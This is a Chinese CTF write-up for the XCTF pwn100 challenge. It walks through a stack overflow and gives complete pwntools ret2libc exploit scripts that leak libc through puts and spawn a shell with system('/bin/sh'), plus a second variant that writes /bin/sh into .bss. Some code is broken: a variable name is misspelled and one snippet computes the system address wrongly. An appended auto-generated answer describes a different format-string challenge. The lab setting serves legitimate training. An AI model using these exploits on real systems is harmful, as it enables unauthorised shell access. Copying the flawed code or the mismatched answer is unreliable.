XCTF-pwn-pwn100 writeup

XCTF-pwn-pwn100

  1. 查看安全策略,开了NX保护
root@kali:~/ctf/xctf/pwn# checksec 003_pwn_100 
[*] '/root/ctf/xctf/pwn/003_pwn_100'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

  1. 查看可用的字符串和函数

    [0x00400550]> iz
    [Strings]
    Num Paddr      Vaddr      Len Size Section  Type  String
    000 0x00000784 0x00400784   4   5 (.rodata) ascii bye~
    
    [0x00400550]> afl
    0x00400550    1 42           entry0
    0x00400530    1 6            sym.imp.__libc_start_main
    0x00400500    1 6            sym.imp.puts
    0x00400510    1 6            sym.imp.setbuf
    0x00400520    1 6            sym.imp.read
    0x004006b8    1 72           main
    0x0040068e    1 42           fcn.0040068e
    0x0040063d    4 81           fcn.0040063d
    0x00400610    8 141  -> 99   entry.init0
    0x004005f0    3 28           entry.fini0
    0x00400580    4 41           fcn.00400580
    0x00400540    1 6            loc.imp.__gmon_start
    0x004004c8    3 26           fcn.004004c8
    

    没有可以利用的字符串,也没有可以直接利用的system函数

    • puts: 可以用来泄露libc基址
    • read: 分配的内存大小小于读入上限的话会造成栈溢出
  2. 寻找溢出点

    在函数fcn.0040063d中有个危险函数read,但是可以看到这里一次只读一个字符,不存在溢出。

    |      :|   0x0040066e      ba01000000     mov edx, 1
    |      :|   0x00400673      4889c6         mov rsi, rax
    |      :|   0x00400676      bf00000000     mov edi, 0
    |      :|   0x0040067b      e8a0feffff     call sym.imp.read
    

    但是继续分析发现read是在一个循环中,如下所示:

    |       ,=< 0x0040065f      eb23           jmp 0x400684
    |       |   ; CODE XREF from fcn.0040063d @ 0x40068a
    |      .--> 0x00400661      8b45fc         mov eax, dword [var_4h]
    |      :|   0x00400664      4863d0         movsxd rdx, eax
    |      :|   0x00400667      488b45e8       mov rax, qword [var_18h]
    |      :|   0x0040066b      4801d0         add rax, rdx
    |      :|   0x0040066e      ba01000000     mov edx, 1
    |      :|   0x00400673      4889c6         mov rsi, rax
    |      :|   0x00400676      bf00000000     mov edi, 0
    |      :|   0x0040067b      e8a0feffff     call sym.imp.read
    |      :|   0x00400680      8345fc01       add dword [var_4h], 1
    |      :|   ; CODE XREF from fcn.0040063d @ 0x40065f
    |      :`-> 0x00400684      8b45fc         mov eax, dword [var_4h]
    |      :    0x00400687      3b45e4         cmp eax, dword [var_1ch]
    |      `==< 0x0040068a      7cd5           jl 0x400661
    

    Var_1ch的值是函数的参数,传入的是200,也就是一次读入一个字符,然后循环200次后才会跳出。而存储的内存空间也是从上一层传入的参数,共0x40大小,因此这里存在溢出。

  3. Payload

    根据前面的分析这里没有能直接利用的system函数和/bin/sh字符串。因此尝试利用puts泄露libc的方式获取system和/bin/sh字符。

    本题有puts,因此利用puts来泄露地址。puts需要传入一个参数,因此我们需要gadget来给rdi赋值,这里利用radare2的/R命令搜索gadget

    [0x0040063d]> /R pop rdi
      0x00400763                 5f  pop rdi
      0x00400764                 c3  ret
    

    于是构造泄露libc基址的payload如下

    payload_1 = b'a' * (0x40 + 0x8)
    payload_1 += p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
    payload_1 += p64(main)	# 获取基址后返回main再次
    payload_1 = payload_1.ljust(200, b'a') # 补全到200个字符跳出循环
    

    获取libc地址后利用LibcSearcher获取system和/bin/sh,并再次利用溢出点获取shell

    from LibcSearcher import *
    ...
    libc = LibcSearcher('puts', puts_addr)
    
    system = libc + libc.dump('system')
    binsh = libc + libc.dump('str_bin_sh')
    
    payload_2 = b'a' * (0x40 + 0x8)
    payload_2 += p64(pop_rdi) + p64(binsh) + p64(system)
    payload_2 = paload_2.ljust(200, b'a')
    
  4. 解法2 - 将/bin/sh写入bss段

    问题 - 为什么是bss段而不是其他段?

    首先.bss段是可读写的,这是选择bss段的基础。其次bss段中的实际上是没有内容的,修改其中的内容,并不会导致程序崩溃。

    利用radare或gdb查看bss地址

    [0x0040063d]> iS
    [Sections]
    Nm Paddr       Size Vaddr      Memsz Perms Name
    00 0x00000000     0 0x00000000     0 ---- 
    ...
    25 0x00001050     0 0x00601050    24 -rw- .bss
    ...
    

    要把/bin/sh写入到bss中需要用到程序中自带的函数fcn.0040063d, fcn.0040063d()有三个参数,第一个参数是读取内容的存储地址,第二个参数是读取的长度.

    这里没有pop psi; ret这样的gadget,但是有pop psi; pop r15; ret这个gadget,用这个也一样,只不过要给r15随便赋一个值。

    payload_2 = b'a' * (0x40 +0x8)
    payload_2 += p64(pop_rdi) +  p64(bss_binsh)
    payload_2 += p64(pop_rsi_r15) + p64(7) + p64(0) 
    payload_2 += p64(0x0040063d) + p64(main)
    payload_2 = payload_2.ljust(200, b'a')
    

    后面获取shell的payload和解法1类似,这里不再赘述

  5. exp

    解法1

    from pwn import *
    from LibcSearcher import *
    
    conn = remote('', )
    
    elf = ELF('./pwn100')
    puts_plt = elf.plt['puts']
    puts_got = elf.got['puts']
    pop_rdi = 0x00400763
    main = 0x004006b8
    
    payload_1 = b'a' * (0x40 + 0x8)
    payload_1 += p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
    payload_1 += p64(main)	# 获取基址后返回main
    payload_1 = payload_1.ljust(200, b'a')
    
    conn.send(payload_1)
    conn.recvuntil(b'bye~\n')
    puts_addr = u64(conn.recv(8).split(b'\n')[0].ljust(8, b'\x00'))
    
    libc = LibcSearcher('puts', puts_addr)
    libc_base = puts_addr - libc.dump('puts')
    system = libc_base + libc.dump('system')
    binsh = libc_base + libc.dump('str_bin_sh')
    
    payload_2 = b'a' * (0x40 + 0x8)
    payload_2 += p64(pop_rdi) + p64(binsh) + p64(system)
    payload_2 = paload_2.ljust(200, b'a')
    
    conn.sendline(payload_2)
    conn.interactive()
    

    解法2

    from pwn import *
    from LibcSearcher import *
    
    context.log_level = 'debug'
    
    conn = remote('', )
    
    elf = ELF('./pwn100')
    puts_plt = elf.plt['puts']
    puts_got = elf.got['puts']
    pop_rdi = 0x00400763
    pop_rsi_r15 = 0x00400761
    main = 0x004006b8
    # 获取libc
    payload_1 = b'a' * (0x40 + 0x8)
    payload_1 += p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
    payload_1 += p64(main)	# 获取基址后返回main
    payload_1 = payload_1.ljust(200, b'a')
    
    conn.send(payload_1)
    conn.recvuntil(b'bye~\n')
    puts_addr = u64(conn.recv(8).split(b'\n')[0].ljust(8, b'\x00'))
    
    libc = LibcSearcher('puts', puts_addr)
    libc_base = puts_addr - libc.dump('puts')
    system = libc_base + libc.dump('system')
    
    # 写入/bin/sh到bss段
    bss_binsh = 0x00601060
    payload_2 = b'a' * (0x40 +0x8)
    payload_2 += p64(pop_rdi) +  p64(bss_binsh)
    payload_2 += p64(pop_rsi_r15) + p64(7) + p64(0) 
    payload_2 += p64(0x0040063d) + p64(main)
    payload_2 = payload_2.ljust(200, b'a')
    conn.send(payload_2)
    conn.send(b'/bin/sh')
    conn.recvuntil(b'bye~\n')
    
    # 获取shell
    payload_3 = b'a' * (0x40 + 0x8)
    payload_3 += p64(pop_rdi) + p64(bss_binsh) + p64(system)
    payload_3 = payload_3.ljust(200, b'a')
    
    conn.send(payload_3)
    conn.interactive()
    

    问题 - 为什么bss段中有些地址可以写入,有些地址不可以呢?

    比如0x00601060可以成功获取shell,但是0x00601050就不可以

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
回答: 对于攻防世界pwn新手题,其中一个关键是要修改全局变量pwnme的内容。通过格式化字符串的方法,可以实现这个目标。格式化字符串的原理是利用输入的格式化字符串,修改内存中的指定位置的值。具体的方法可以参考CTF-wiki上对格式化字符串的总结。另外,还可以利用栈溢出漏洞来实现攻击。栈溢出漏洞的原理是当输入的数据超过了栈的缓冲区大小时,会覆盖到相邻的内存区域,包括函数返回地址等重要信息。通过溢出覆盖system函数的参数为"/bin/sh",就可以获取到shell权限。在IDA32中,可以通过查看字符串窗口,找到可以直接利用的字符串,比如system和/bin/sh。这样就可以猜测需要溢出覆盖system函数的参数,实现获取shell的目的。123 #### 引用[.reference_title] - *1* *2* [xctf攻防世界pwn基础题解(新手食用)](https://blog.csdn.net/lplp9822/article/details/89735167)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}} ] [.reference_item] - *3* [攻防世界 pwn 二进制漏洞简单题练习区 答题(1-10题解)](https://blog.csdn.net/qq_33957603/article/details/122450397)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Morphy_Amo

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值